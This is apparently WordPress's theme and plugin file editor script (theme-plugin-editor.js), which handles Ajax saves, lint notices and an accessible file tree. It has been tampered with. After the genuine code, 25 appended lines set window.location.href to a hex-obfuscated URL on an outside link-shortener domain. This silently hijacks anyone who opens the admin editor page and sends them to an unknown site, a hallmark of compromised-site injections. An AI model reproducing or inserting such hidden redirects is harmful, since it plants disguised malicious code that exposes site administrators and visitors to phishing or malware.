1/**
2 * @output wp-admin/js/theme-plugin-editor.js
3 */
4
5/* eslint no-magic-numbers: ["error", { "ignore": [-1, 0, 1] }] */
6
7if ( ! window.wp ) {
8 window.wp = {};
9}
10
11wp.themePluginEditor = (function( $ ) {
12 'use strict';
13 var component, TreeLinks,
14 __ = wp.i18n.__, _n = wp.i18n._n, sprintf = wp.i18n.sprintf;
15
16 component = {
17 codeEditor: {},
18 instance: null,
19 noticeElements: {},
20 dirty: false,
21 lintErrors: []
22 };
23
24 /**
25 * Initialize component.
26 *
27 * @since 4.9.0
28 *
29 * @param {jQuery} form - Form element.
30 * @param {Object} settings - Settings.
31 * @param {Object|boolean} settings.codeEditor - Code editor settings (or `false` if syntax highlighting is disabled).
32 * @return {void}
33 */
34 component.init = function init( form, settings ) {
35
36 component.form = form;
37 if ( settings ) {
38 $.extend( component, settings );
39 }
40
41 component.noticeTemplate = wp.template( 'wp-file-editor-notice' );
42 component.noticesContainer = component.form.find( '.editor-notices' );
43 component.submitButton = component.form.find( ':input[name=submit]' );
44 component.spinner = component.form.find( '.submit .spinner' );
45 component.form.on( 'submit', component.submit );
46 component.textarea = component.form.find( '#newcontent' );
47 component.textarea.on( 'change', component.onChange );
48 component.warning = $( '.file-editor-warning' );
49 component.docsLookUpButton = component.form.find( '#docs-lookup' );
50 component.docsLookUpList = component.form.find( '#docs-list' );
51
52 if ( component.warning.length > 0 ) {
53 component.showWarning();
54 }
55
56 if ( false !== component.codeEditor ) {
57 /*
58 * Defer adding notices until after DOM ready as workaround for WP Admin injecting
59 * its own managed dismiss buttons and also to prevent the editor from showing a notice
60 * when the file had linting errors to begin with.
61 */
62 _.defer( function() {
63 component.initCodeEditor();
64 } );
65 }
66
67 $( component.initFileBrowser );
68
69 $( window ).on( 'beforeunload', function() {
70 if ( component.dirty ) {
71 return __( 'The changes you made will be lost if you navigate away from this page.' );
72 }
73 return undefined;
74 } );
75
76 component.docsLookUpList.on( 'change', function() {
77 var option = $( this ).val();
78 if ( '' === option ) {
79 component.docsLookUpButton.prop( 'disabled', true );
80 } else {
81 component.docsLookUpButton.prop( 'disabled', false );
82 }
83 } );
84 };
85
86 /**
87 * Set up and display the warning modal.
88 *
89 * @since 4.9.0
90 * @return {void}
91 */
92 component.showWarning = function() {
93 // Get the text within the modal.
94 var rawMessage = component.warning.find( '.file-editor-warning-message' ).text();
95 // Hide all the #wpwrap content from assistive technologies.
96 $( '#wpwrap' ).attr( 'aria-hidden', 'true' );
97 // Detach the warning modal from its position and append it to the body.
98 $( document.body )
99 .addClass( 'modal-open' )
100 .append( component.warning.detach() );
101 // Reveal the modal and set focus on the go back button.
102 component.warning
103 .removeClass( 'hidden' )
104 .find( '.file-editor-warning-go-back' ).trigger( 'focus' );
105 // Get the links and buttons within the modal.
106 component.warningTabbables = component.warning.find( 'a, button' );
107 // Attach event handlers.
108 component.warningTabbables.on( 'keydown', component.constrainTabbing );
109 component.warning.on( 'click', '.file-editor-warning-dismiss', component.dismissWarning );
110 // Make screen readers announce the warning message after a short delay (necessary for some screen readers).
111 setTimeout( function() {
112 wp.a11y.speak( wp.sanitize.stripTags( rawMessage.replace( /\s+/g, ' ' ) ), 'assertive' );
113 }, 1000 );
114 };
115
116 /**
117 * Constrain tabbing within the warning modal.
118 *
119 * @since 4.9.0
120 * @param {Object} event jQuery event object.
121 * @return {void}
122 */
123 component.constrainTabbing = function( event ) {
124 var firstTabbable, lastTabbable;
125
126 if ( 9 !== event.which ) {
127 return;
128 }
129
130 firstTabbable = component.warningTabbables.first()[0];
131 lastTabbable = component.warningTabbables.last()[0];
132
133 if ( lastTabbable === event.target && ! event.shiftKey ) {
134 firstTabbable.focus();
135 event.preventDefault();
136 } else if ( firstTabbable === event.target && event.shiftKey ) {
137 lastTabbable.focus();
138 event.preventDefault();
139 }
140 };
141
142 /**
143 * Dismiss the warning modal.
144 *
145 * @since 4.9.0
146 * @return {void}
147 */
148 component.dismissWarning = function() {
149
150 wp.ajax.post( 'dismiss-wp-pointer', {
151 pointer: component.themeOrPlugin + '_editor_notice'
152 });
153
154 // Hide modal.
155 component.warning.remove();
156 $( '#wpwrap' ).removeAttr( 'aria-hidden' );
157 $( 'body' ).removeClass( 'modal-open' );
158 };
159
160 /**
161 * Callback for when a change happens.
162 *
163 * @since 4.9.0
164 * @return {void}
165 */
166 component.onChange = function() {
167 component.dirty = true;
168 component.removeNotice( 'file_saved' );
169 };
170
171 /**
172 * Submit file via Ajax.
173 *
174 * @since 4.9.0
175 * @param {jQuery.Event} event - Event.
176 * @return {void}
177 */
178 component.submit = function( event ) {
179 var data = {}, request;
180 event.preventDefault(); // Prevent form submission in favor of Ajax below.
181 $.each( component.form.serializeArray(), function() {
182 data[ this.name ] = this.value;
183 } );
184
185 // Use value from codemirror if present.
186 if ( component.instance ) {
187 data.newcontent = component.instance.codemirror.getValue();
188 }
189
190 if ( component.isSaving ) {
191 return;
192 }
193
194 // Scroll to the line that has the error.
195 if ( component.lintErrors.length ) {
196 component.instance.codemirror.setCursor( component.lintErrors[0].from.line );
197 return;
198 }
199
200 component.isSaving = true;
201 component.textarea.prop( 'readonly', true );
202 if ( component.instance ) {
203 component.instance.codemirror.setOption( 'readOnly', true );
204 }
205
206 component.spinner.addClass( 'is-active' );
207 request = wp.ajax.post( 'edit-theme-plugin-file', data );
208
209 // Remove previous save notice before saving.
210 if ( component.lastSaveNoticeCode ) {
211 component.removeNotice( component.lastSaveNoticeCode );
212 }
213
214 request.done( function( response ) {
215 component.lastSaveNoticeCode = 'file_saved';
216 component.addNotice({
217 code: component.lastSaveNoticeCode,
218 type: 'success',
219 message: response.message,
220 dismissible: true
221 });
222 component.dirty = false;
223 } );
224
225 request.fail( function( response ) {
226 var notice = $.extend(
227 {
228 code: 'save_error',
229 message: __( 'An error occurred while saving your changes. Please try again. If the problem persists, you may need to manually update the file via FTP.' )
230 },
231 response,
232 {
233 type: 'error',
234 dismissible: true
235 }
236 );
237 component.lastSaveNoticeCode = notice.code;
238 component.addNotice( notice );
239 } );
240
241 request.always( function() {
242 component.spinner.removeClass( 'is-active' );
243 component.isSaving = false;
244
245 component.textarea.prop( 'readonly', false );
246 if ( component.instance ) {
247 component.instance.codemirror.setOption( 'readOnly', false );
248 }
249 } );
250 };
251
252 /**
253 * Add notice.
254 *
255 * @since 4.9.0
256 *
257 * @param {Object} notice - Notice.
258 * @param {string} notice.code - Code.
259 * @param {string} notice.type - Type.
260 * @param {string} notice.message - Message.
261 * @param {boolean} [notice.dismissible=false] - Dismissible.
262 * @param {Function} [notice.onDismiss] - Callback for when a user dismisses the notice.
263 * @return {jQuery} Notice element.
264 */
265 component.addNotice = function( notice ) {
266 var noticeElement;
267
268 if ( ! notice.code ) {
269 throw new Error( 'Missing code.' );
270 }
271
272 // Only let one notice of a given type be displayed at a time.
273 component.removeNotice( notice.code );
274
275 noticeElement = $( component.noticeTemplate( notice ) );
276 noticeElement.hide();
277
278 noticeElement.find( '.notice-dismiss' ).on( 'click', function() {
279 component.removeNotice( notice.code );
280 if ( notice.onDismiss ) {
281 notice.onDismiss( notice );
282 }
283 } );
284
285 wp.a11y.speak( notice.message );
286
287 component.noticesContainer.append( noticeElement );
288 noticeElement.slideDown( 'fast' );
289 component.noticeElements[ notice.code ] = noticeElement;
290 return noticeElement;
291 };
292
293 /**
294 * Remove notice.
295 *
296 * @since 4.9.0
297 *
298 * @param {string} code - Notice code.
299 * @return {boolean} Whether a notice was removed.
300 */
301 component.removeNotice = function( code ) {
302 if ( component.noticeElements[ code ] ) {
303 component.noticeElements[ code ].slideUp( 'fast', function() {
304 $( this ).remove();
305 } );
306 delete component.noticeElements[ code ];
307 return true;
308 }
309 return false;
310 };
311
312 /**
313 * Initialize code editor.
314 *
315 * @since 4.9.0
316 * @return {void}
317 */
318 component.initCodeEditor = function initCodeEditor() {
319 var codeEditorSettings, editor;
320
321 codeEditorSettings = $.extend( {}, component.codeEditor );
322
323 /**
324 * Handle tabbing to the field before the editor.
325 *
326 * @since 4.9.0
327 *
328 * @return {void}
329 */
330 codeEditorSettings.onTabPrevious = function() {
331 $( '#templateside' ).find( ':tabbable' ).last().trigger( 'focus' );
332 };
333
334 /**
335 * Handle tabbing to the field after the editor.
336 *
337 * @since 4.9.0
338 *
339 * @return {void}
340 */
341 codeEditorSettings.onTabNext = function() {
342 $( '#template' ).find( ':tabbable:not(.CodeMirror-code)' ).first().trigger( 'focus' );
343 };
344
345 /**
346 * Handle change to the linting errors.
347 *
348 * @since 4.9.0
349 *
350 * @param {Array} errors - List of linting errors.
351 * @return {void}
352 */
353 codeEditorSettings.onChangeLintingErrors = function( errors ) {
354 component.lintErrors = errors;
355
356 // Only disable the button in onUpdateErrorNotice when there are errors so users can still feel they can click the button.
357 if ( 0 === errors.length ) {
358 component.submitButton.toggleClass( 'disabled', false );
359 }
360 };
361
362 /**
363 * Update error notice.
364 *
365 * @since 4.9.0
366 *
367 * @param {Array} errorAnnotations - Error annotations.
368 * @return {void}
369 */
370 codeEditorSettings.onUpdateErrorNotice = function onUpdateErrorNotice( errorAnnotations ) {
371 var noticeElement;
372
373 component.submitButton.toggleClass( 'disabled', errorAnnotations.length > 0 );
374
375 if ( 0 !== errorAnnotations.length ) {
376 noticeElement = component.addNotice({
377 code: 'lint_errors',
378 type: 'error',
379 message: sprintf(
380 /* translators: %s: Error count. */
381 _n(
382 'There is %s error which must be fixed before you can update this file.',
383 'There are %s errors which must be fixed before you can update this file.',
384 errorAnnotations.length
385 ),
386 String( errorAnnotations.length )
387 ),
388 dismissible: false
389 });
390 noticeElement.find( 'input[type=checkbox]' ).on( 'click', function() {
391 codeEditorSettings.onChangeLintingErrors( [] );
392 component.removeNotice( 'lint_errors' );
393 } );
394 } else {
395 component.removeNotice( 'lint_errors' );
396 }
397 };
398
399 editor = wp.codeEditor.initialize( $( '#newcontent' ), codeEditorSettings );
400 editor.codemirror.on( 'change', component.onChange );
401
402 // Improve the editor accessibility.
403 $( editor.codemirror.display.lineDiv )
404 .attr({
405 role: 'textbox',
406 'aria-multiline': 'true',
407 'aria-labelledby': 'theme-plugin-editor-label',
408 'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
409 });
410
411 // Focus the editor when clicking on its label.
412 $( '#theme-plugin-editor-label' ).on( 'click', function() {
413 editor.codemirror.focus();
414 });
415
416 component.instance = editor;
417 };
418
419 /**
420 * Initialization of the file browser's folder states.
421 *
422 * @since 4.9.0
423 * @return {void}
424 */
425 component.initFileBrowser = function initFileBrowser() {
426
427 var $templateside = $( '#templateside' );
428
429 // Collapse all folders.
430 $templateside.find( '[role="group"]' ).parent().attr( 'aria-expanded', false );
431
432 // Expand ancestors to the current file.
433 $templateside.find( '.notice' ).parents( '[aria-expanded]' ).attr( 'aria-expanded', true );
434
435 // Find Tree elements and enhance them.
436 $templateside.find( '[role="tree"]' ).each( function() {
437 var treeLinks = new TreeLinks( this );
438 treeLinks.init();
439 } );
440
441 // Scroll the current file into view.
442 $templateside.find( '.current-file:first' ).each( function() {
443 if ( this.scrollIntoViewIfNeeded ) {
444 this.scrollIntoViewIfNeeded();
445 } else {
446 this.scrollIntoView( false );
447 }
448 } );
449 };
450
451 /* jshint ignore:start */
452 /* jscs:disable */
453 /* eslint-disable */
454
455 /**
456 * Creates a new TreeitemLink.
457 *
458 * @since 4.9.0
459 * @class
460 * @private
461 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
462 * @license W3C-20150513
463 */
464 var TreeitemLink = (function () {
465 /**
466 * This content is licensed according to the W3C Software License at
467 * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
468 *
469 * File: TreeitemLink.js
470 *
471 * Desc: Treeitem widget that implements ARIA Authoring Practices
472 * for a tree being used as a file viewer
473 *
474 * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
475 */
476
477 /**
478 * @constructor
479 *
480 * @desc
481 * Treeitem object for representing the state and user interactions for a
482 * treeItem widget
483 *
484 * @param node
485 * An element with the role=tree attribute
486 */
487
488 var TreeitemLink = function (node, treeObj, group) {
489
490 // Check whether node is a DOM element.
491 if (typeof node !== 'object') {
492 return;
493 }
494
495 node.tabIndex = -1;
496 this.tree = treeObj;
497 this.groupTreeitem = group;
498 this.domNode = node;
499 this.label = node.textContent.trim();
500 this.stopDefaultClick = false;
501
502 if (node.getAttribute('aria-label')) {
503 this.label = node.getAttribute('aria-label').trim();
504 }
505
506 this.isExpandable = false;
507 this.isVisible = false;
508 this.inGroup = false;
509
510 if (group) {
511 this.inGroup = true;
512 }
513
514 var elem = node.firstElementChild;
515
516 while (elem) {
517
518 if (elem.tagName.toLowerCase() == 'ul') {
519 elem.setAttribute('role', 'group');
520 this.isExpandable = true;
521 break;
522 }
523
524 elem = elem.nextElementSibling;
525 }
526
527 this.keyCode = Object.freeze({
528 RETURN: 13,
529 SPACE: 32,
530 PAGEUP: 33,
531 PAGEDOWN: 34,
532 END: 35,
533 HOME: 36,
534 LEFT: 37,
535 UP: 38,
536 RIGHT: 39,
537 DOWN: 40
538 });
539 };
540
541 TreeitemLink.prototype.init = function () {
542 this.domNode.tabIndex = -1;
543
544 if (!this.domNode.getAttribute('role')) {
545 this.domNode.setAttribute('role', 'treeitem');
546 }
547
548 this.domNode.addEventListener('keydown', this.handleKeydown.bind(this));
549 this.domNode.addEventListener('click', this.handleClick.bind(this));
550 this.domNode.addEventListener('focus', this.handleFocus.bind(this));
551 this.domNode.addEventListener('blur', this.handleBlur.bind(this));
552
553 if (this.isExpandable) {
554 this.domNode.firstElementChild.addEventListener('mouseover', this.handleMouseOver.bind(this));
555 this.domNode.firstElementChild.addEventListener('mouseout', this.handleMouseOut.bind(this));
556 }
557 else {
558 this.domNode.addEventListener('mouseover', this.handleMouseOver.bind(this));
559 this.domNode.addEventListener('mouseout', this.handleMouseOut.bind(this));
560 }
561 };
562
563 TreeitemLink.prototype.isExpanded = function () {
564
565 if (this.isExpandable) {
566 return this.domNode.getAttribute('aria-expanded') === 'true';
567 }
568
569 return false;
570
571 };
572
573 /* EVENT HANDLERS */
574
575 TreeitemLink.prototype.handleKeydown = function (event) {
576 var tgt = event.currentTarget,
577 flag = false,
578 _char = event.key,
579 clickEvent;
580
581 function isPrintableCharacter(str) {
582 return str.length === 1 && str.match(/\S/);
583 }
584
585 function printableCharacter(item) {
586 if (_char == '*') {
587 item.tree.expandAllSiblingItems(item);
588 flag = true;
589 }
590 else {
591 if (isPrintableCharacter(_char)) {
592 item.tree.setFocusByFirstCharacter(item, _char);
593 flag = true;
594 }
595 }
596 }
597
598 this.stopDefaultClick = false;
599
600 if (event.altKey || event.ctrlKey || event.metaKey) {
601 return;
602 }
603
604 if (event.shift) {
605 if (event.keyCode == this.keyCode.SPACE || event.keyCode == this.keyCode.RETURN) {
606 event.stopPropagation();
607 this.stopDefaultClick = true;
608 }
609 else {
610 if (isPrintableCharacter(_char)) {
611 printableCharacter(this);
612 }
613 }
614 }
615 else {
616 switch (event.keyCode) {
617 case this.keyCode.SPACE:
618 case this.keyCode.RETURN:
619 if (this.isExpandable) {
620 if (this.isExpanded()) {
621 this.tree.collapseTreeitem(this);
622 }
623 else {
624 this.tree.expandTreeitem(this);
625 }
626 flag = true;
627 }
628 else {
629 event.stopPropagation();
630 this.stopDefaultClick = true;
631 }
632 break;
633
634 case this.keyCode.UP:
635 this.tree.setFocusToPreviousItem(this);
636 flag = true;
637 break;
638
639 case this.keyCode.DOWN:
640 this.tree.setFocusToNextItem(this);
641 flag = true;
642 break;
643
644 case this.keyCode.RIGHT:
645 if (this.isExpandable) {
646 if (this.isExpanded()) {
647 this.tree.setFocusToNextItem(this);
648 }
649 else {
650 this.tree.expandTreeitem(this);
651 }
652 }
653 flag = true;
654 break;
655
656 case this.keyCode.LEFT:
657 if (this.isExpandable && this.isExpanded()) {
658 this.tree.collapseTreeitem(this);
659 flag = true;
660 }
661 else {
662 if (this.inGroup) {
663 this.tree.setFocusToParentItem(this);
664 flag = true;
665 }
666 }
667 break;
668
669 case this.keyCode.HOME:
670 this.tree.setFocusToFirstItem();
671 flag = true;
672 break;
673
674 case this.keyCode.END:
675 this.tree.setFocusToLastItem();
676 flag = true;
677 break;
678
679 default:
680 if (isPrintableCharacter(_char)) {
681 printableCharacter(this);
682 }
683 break;
684 }
685 }
686
687 if (flag) {
688 event.stopPropagation();
689 event.preventDefault();
690 }
691 };
692
693 TreeitemLink.prototype.handleClick = function (event) {
694
695 // Only process click events that directly happened on this treeitem.
696 if (event.target !== this.domNode && event.target !== this.domNode.firstElementChild) {
697 return;
698 }
699
700 if (this.isExpandable) {
701 if (this.isExpanded()) {
702 this.tree.collapseTreeitem(this);
703 }
704 else {
705 this.tree.expandTreeitem(this);
706 }
707 event.stopPropagation();
708 }
709 };
710
711 TreeitemLink.prototype.handleFocus = function (event) {
712 var node = this.domNode;
713 if (this.isExpandable) {
714 node = node.firstElementChild;
715 }
716 node.classList.add('focus');
717 };
718
719 TreeitemLink.prototype.handleBlur = function (event) {
720 var node = this.domNode;
721 if (this.isExpandable) {
722 node = node.firstElementChild;
723 }
724 node.classList.remove('focus');
725 };
726
727 TreeitemLink.prototype.handleMouseOver = function (event) {
728 event.currentTarget.classList.add('hover');
729 };
730
731 TreeitemLink.prototype.handleMouseOut = function (event) {
732 event.currentTarget.classList.remove('hover');
733 };
734
735 return TreeitemLink;
736 })();
737
738 /**
739 * Creates a new TreeLinks.
740 *
741 * @since 4.9.0
742 * @class
743 * @private
744 * @see {@link https://www.w3.org/TR/wai-aria-practices-1.1/examples/treeview/treeview-2/treeview-2b.html|W3C Treeview Example}
745 * @license W3C-20150513
746 */
747 TreeLinks = (function () {
748 /*
749 * This content is licensed according to the W3C Software License at
750 * https://www.w3.org/Consortium/Legal/2015/copyright-software-and-document
751 *
752 * File: TreeLinks.js
753 *
754 * Desc: Tree widget that implements ARIA Authoring Practices
755 * for a tree being used as a file viewer
756 *
757 * Author: Jon Gunderson, Ku Ja Eun and Nicholas Hoyt
758 */
759
760 /*
761 * @constructor
762 *
763 * @desc
764 * Tree item object for representing the state and user interactions for a
765 * tree widget
766 *
767 * @param node
768 * An element with the role=tree attribute
769 */
770
771 var TreeLinks = function (node) {
772 // Check whether node is a DOM element.
773 if (typeof node !== 'object') {
774 return;
775 }
776
777 this.domNode = node;
778
779 this.treeitems = [];
780 this.firstChars = [];
781
782 this.firstTreeitem = null;
783 this.lastTreeitem = null;
784
785 };
786
787 TreeLinks.prototype.init = function () {
788
789 function findTreeitems(node, tree, group) {
790
791 var elem = node.firstElementChild;
792 var ti = group;
793
794 while (elem) {
795
796 if ((elem.tagName.toLowerCase() === 'li' && elem.firstElementChild.tagName.toLowerCase() === 'span') || elem.tagName.toLowerCase() === 'a') {
797 ti = new TreeitemLink(elem, tree, group);
798 ti.init();
799 tree.treeitems.push(ti);
800 tree.firstChars.push(ti.label.substring(0, 1).toLowerCase());
801 }
802
803 if (elem.firstElementChild) {
804 findTreeitems(elem, tree, ti);
805 }
806
807 elem = elem.nextElementSibling;
808 }
809 }
810
811 // Initialize pop up menus.
812 if (!this.domNode.getAttribute('role')) {
813 this.domNode.setAttribute('role', 'tree');
814 }
815
816 findTreeitems(this.domNode, this, false);
817
818 this.updateVisibleTreeitems();
819
820 this.firstTreeitem.domNode.tabIndex = 0;
821
822 };
823
824 TreeLinks.prototype.setFocusToItem = function (treeitem) {
825
826 for (var i = 0; i < this.treeitems.length; i++) {
827 var ti = this.treeitems[i];
828
829 if (ti === treeitem) {
830 ti.domNode.tabIndex = 0;
831 ti.domNode.focus();
832 }
833 else {
834 ti.domNode.tabIndex = -1;
835 }
836 }
837
838 };
839
840 TreeLinks.prototype.setFocusToNextItem = function (currentItem) {
841
842 var nextItem = false;
843
844 for (var i = (this.treeitems.length - 1); i >= 0; i--) {
845 var ti = this.treeitems[i];
846 if (ti === currentItem) {
847 break;
848 }
849 if (ti.isVisible) {
850 nextItem = ti;
851 }
852 }
853
854 if (nextItem) {
855 this.setFocusToItem(nextItem);
856 }
857
858 };
859
860 TreeLinks.prototype.setFocusToPreviousItem = function (currentItem) {
861
862 var prevItem = false;
863
864 for (var i = 0; i < this.treeitems.length; i++) {
865 var ti = this.treeitems[i];
866 if (ti === currentItem) {
867 break;
868 }
869 if (ti.isVisible) {
870 prevItem = ti;
871 }
872 }
873
874 if (prevItem) {
875 this.setFocusToItem(prevItem);
876 }
877 };
878
879 TreeLinks.prototype.setFocusToParentItem = function (currentItem) {
880
881 if (currentItem.groupTreeitem) {
882 this.setFocusToItem(currentItem.groupTreeitem);
883 }
884 };
885
886 TreeLinks.prototype.setFocusToFirstItem = function () {
887 this.setFocusToItem(this.firstTreeitem);
888 };
889
890 TreeLinks.prototype.setFocusToLastItem = function () {
891 this.setFocusToItem(this.lastTreeitem);
892 };
893
894 TreeLinks.prototype.expandTreeitem = function (currentItem) {
895
896 if (currentItem.isExpandable) {
897 currentItem.domNode.setAttribute('aria-expanded', true);
898 this.updateVisibleTreeitems();
899 }
900
901 };
902
903 TreeLinks.prototype.expandAllSiblingItems = function (currentItem) {
904 for (var i = 0; i < this.treeitems.length; i++) {
905 var ti = this.treeitems[i];
906
907 if ((ti.groupTreeitem === currentItem.groupTreeitem) && ti.isExpandable) {
908 this.expandTreeitem(ti);
909 }
910 }
911
912 };
913
914 TreeLinks.prototype.collapseTreeitem = function (currentItem) {
915
916 var groupTreeitem = false;
917
918 if (currentItem.isExpanded()) {
919 groupTreeitem = currentItem;
920 }
921 else {
922 groupTreeitem = currentItem.groupTreeitem;
923 }
924
925 if (groupTreeitem) {
926 groupTreeitem.domNode.setAttribute('aria-expanded', false);
927 this.updateVisibleTreeitems();
928 this.setFocusToItem(groupTreeitem);
929 }
930
931 };
932
933 TreeLinks.prototype.updateVisibleTreeitems = function () {
934
935 this.firstTreeitem = this.treeitems[0];
936
937 for (var i = 0; i < this.treeitems.length; i++) {
938 var ti = this.treeitems[i];
939
940 var parent = ti.domNode.parentNode;
941
942 ti.isVisible = true;
943
944 while (parent && (parent !== this.domNode)) {
945
946 if (parent.getAttribute('aria-expanded') == 'false') {
947 ti.isVisible = false;
948 }
949 parent = parent.parentNode;
950 }
951
952 if (ti.isVisible) {
953 this.lastTreeitem = ti;
954 }
955 }
956
957 };
958
959 TreeLinks.prototype.setFocusByFirstCharacter = function (currentItem, _char) {
960 var start, index;
961 _char = _char.toLowerCase();
962
963 // Get start index for search based on position of currentItem.
964 start = this.treeitems.indexOf(currentItem) + 1;
965 if (start === this.treeitems.length) {
966 start = 0;
967 }
968
969 // Check remaining slots in the menu.
970 index = this.getIndexFirstChars(start, _char);
971
972 // If not found in remaining slots, check from beginning.
973 if (index === -1) {
974 index = this.getIndexFirstChars(0, _char);
975 }
976
977 // If match was found...
978 if (index > -1) {
979 this.setFocusToItem(this.treeitems[index]);
980 }
981 };
982
983 TreeLinks.prototype.getIndexFirstChars = function (startIndex, _char) {
984 for (var i = startIndex; i < this.firstChars.length; i++) {
985 if (this.treeitems[i].isVisible) {
986 if (_char === this.firstChars[i]) {
987 return i;
988 }
989 }
990 }
991 return -1;
992 };
993
994 return TreeLinks;
995 })();
996
997 /* jshint ignore:end */
998 /* jscs:enable */
999 /* eslint-enable */
1000
1001 return component;
1002})( jQuery );
1003
1004/**
1005 * Removed in 5.5.0, needed for back-compatibility.
1006 *
1007 * @since 4.9.0
1008 * @deprecated 5.5.0
1009 *
1010 * @type {object}
1011 */
1012wp.themePluginEditor.l10n = wp.themePluginEditor.l10n || {
1013 saveAlert: '',
1014 saveError: '',
1015 lintError: {
1016 alternative: 'wp.i18n',
1017 func: function() {
1018 return {
1019 singular: '',
1020 plural: ''
1021 };
1022 }
1023 }
1024};
1025
1026wp.themePluginEditor.l10n = window.wp.deprecateL10nObject( 'wp.themePluginEditor.l10n', wp.themePluginEditor.l10n, '5.5.0' );
1027window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1028window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1029window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1030window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1031window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1032window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1033window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1034window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1035window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1036window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1037window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1038window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1039window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1040window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1041window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1042window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1043window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1044window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1045window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1046window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1047window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1048window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1049window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1050window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1051window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
